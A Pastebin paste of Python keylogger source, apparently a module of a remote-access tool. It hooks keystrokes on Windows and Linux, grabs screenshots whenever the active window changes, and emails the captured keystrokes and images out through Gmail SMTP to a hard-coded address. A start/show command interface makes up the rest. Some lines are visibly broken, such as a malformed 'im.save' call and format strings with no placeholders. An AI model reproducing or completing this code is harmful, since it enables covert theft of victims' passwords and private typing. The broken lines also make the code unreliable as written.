Guest User

Untitled

a guest
Nov 27th, 2017
393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. import pyHook
  2. import pythoncom
  3. import pyxhook
  4. import sys
  5. from threading import Thread
  6. import time
  7. import utils
  8. import pyscreenshot as ImageGrab
  9. import smtplib
  10. from email.MIMEMultipart import MIMEMultipart
  11. from email.MIMEText import MIMEText
  12.  
  13.  
  14.  
  15. # global parameters
  16. started = False
  17. keylog = ""
  18. current_window = ""
  19.  
  20. def ScreenshotEvent(event):
  21. global current_window
  22. if current_window != event.WindowName:
  23. current_window = event.WindowName
  24. im = ImageGrab.grab()
  25. im.save +="123987".format(current_window, time.ctime())
  26. recipients = ["mrtg@gmail.com"]
  27. msg = MIMEMultipart()
  28. fromaddr = 'kkt@gmail.com'
  29. toaddrs = recipients
  30. msg['Subject'] = 'martyxo'.format(time.ctime)
  31. msg.attach(MIMEMultipart(im))
  32.  
  33. mailserver = smtplib.SMTP("smtp.gmail.com", 587)
  34. # identify ourselves to smtp gmail client
  35. mailserver.ehlo()
  36. # secure our email with tls encryption
  37. mailserver.starttls()
  38. # re-identify ourselves as an encrypted connection
  39. mailserver.ehlo()
  40. mailserver.login('kkt@gmail.com', 'xxx')
  41.  
  42. mailserver.sendmail(fromaddr, toaddrs, msg.as_string())
  43.  
  44. mailserver.quit()
  45.  
  46. def OnKeyboardEvent(event):
  47. global current_window
  48. global keylog
  49. if current_window != event.WindowName:
  50. current_window = event.WindowName
  51. keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime())
  52. key = ""
  53. if event.Ascii == 8:
  54. key = '[Backspace]'
  55. elif event.Ascii == 13:
  56. key = '\n'
  57. elif event.Ascii == 27:
  58. key = '[ESC]'
  59. elif event.Ascii:
  60. key = chr(event.Ascii)
  61. keylog += key
  62. return(True)
  63.  
  64.  
  65. def keylogger():
  66. if sys.platform == 'win32':
  67. hm = pyHook.HookManager()
  68. hm.KeyDown = OnKeyboardEvent
  69. hm.HookKeyboard()
  70. pythoncom.PumpMessages()
  71. elif 'linux' in sys.platform:
  72. hm = pyxhook.HookManager()
  73. hm.KeyDown = OnKeyboardEvent
  74. hm.HookKeyboard()
  75. hm.start()
  76.  
  77. def sendmailkeylog():
  78. global keylog
  79. if len(keylog) > 50:
  80. recipients = ["mrtg@gmail.com"]
  81. msg = MIMEMultipart()
  82. fromaddr = 'kkt@gmail.com'
  83. toaddrs = recipients
  84. msg['Subject'] = 'martyxo'.format(time.ctime)
  85. msg.attach(MIMEText(keylog))
  86.  
  87. mailserver = smtplib.SMTP("smtp.gmail.com", 587)
  88. # identify ourselves to smtp gmail client
  89. mailserver.ehlo()
  90. # secure our email with tls encryption
  91. mailserver.starttls()
  92. # re-identify ourselves as an encrypted connection
  93. mailserver.ehlo()
  94. mailserver.login('kkt@gmail.com', 'xxxxx')
  95.  
  96. mailserver.sendmail(fromaddr, toaddrs, msg.as_string())
  97.  
  98. mailserver.quit()
  99. keylog = ""
  100.  
  101. # execution
  102. def run(action):
  103. global started
  104. global keylog
  105. if action == "start":
  106. if not started:
  107. klg = Thread(target=keylogger)
  108. klg.setDaemon(True)
  109. klg.start()
  110. started = True
  111. utils.send_output("Keylogger Started!")
  112. else:
  113. utils.send_output("Keylogger already running...")
  114. elif action == "show":
  115. utils.send_output(keylog)
  116. else:
  117. utils.send_output("Usage: keylogger start|show")
  118.  
  119.  
  120. # returns usage information
  121. def help():
  122. help_text = """
  123. Usage: keylogger start|show
  124. Starts a keylogger or shows logged keys.
  125. """
  126. return(help_text)
Add Comment
Please, Sign In to add comment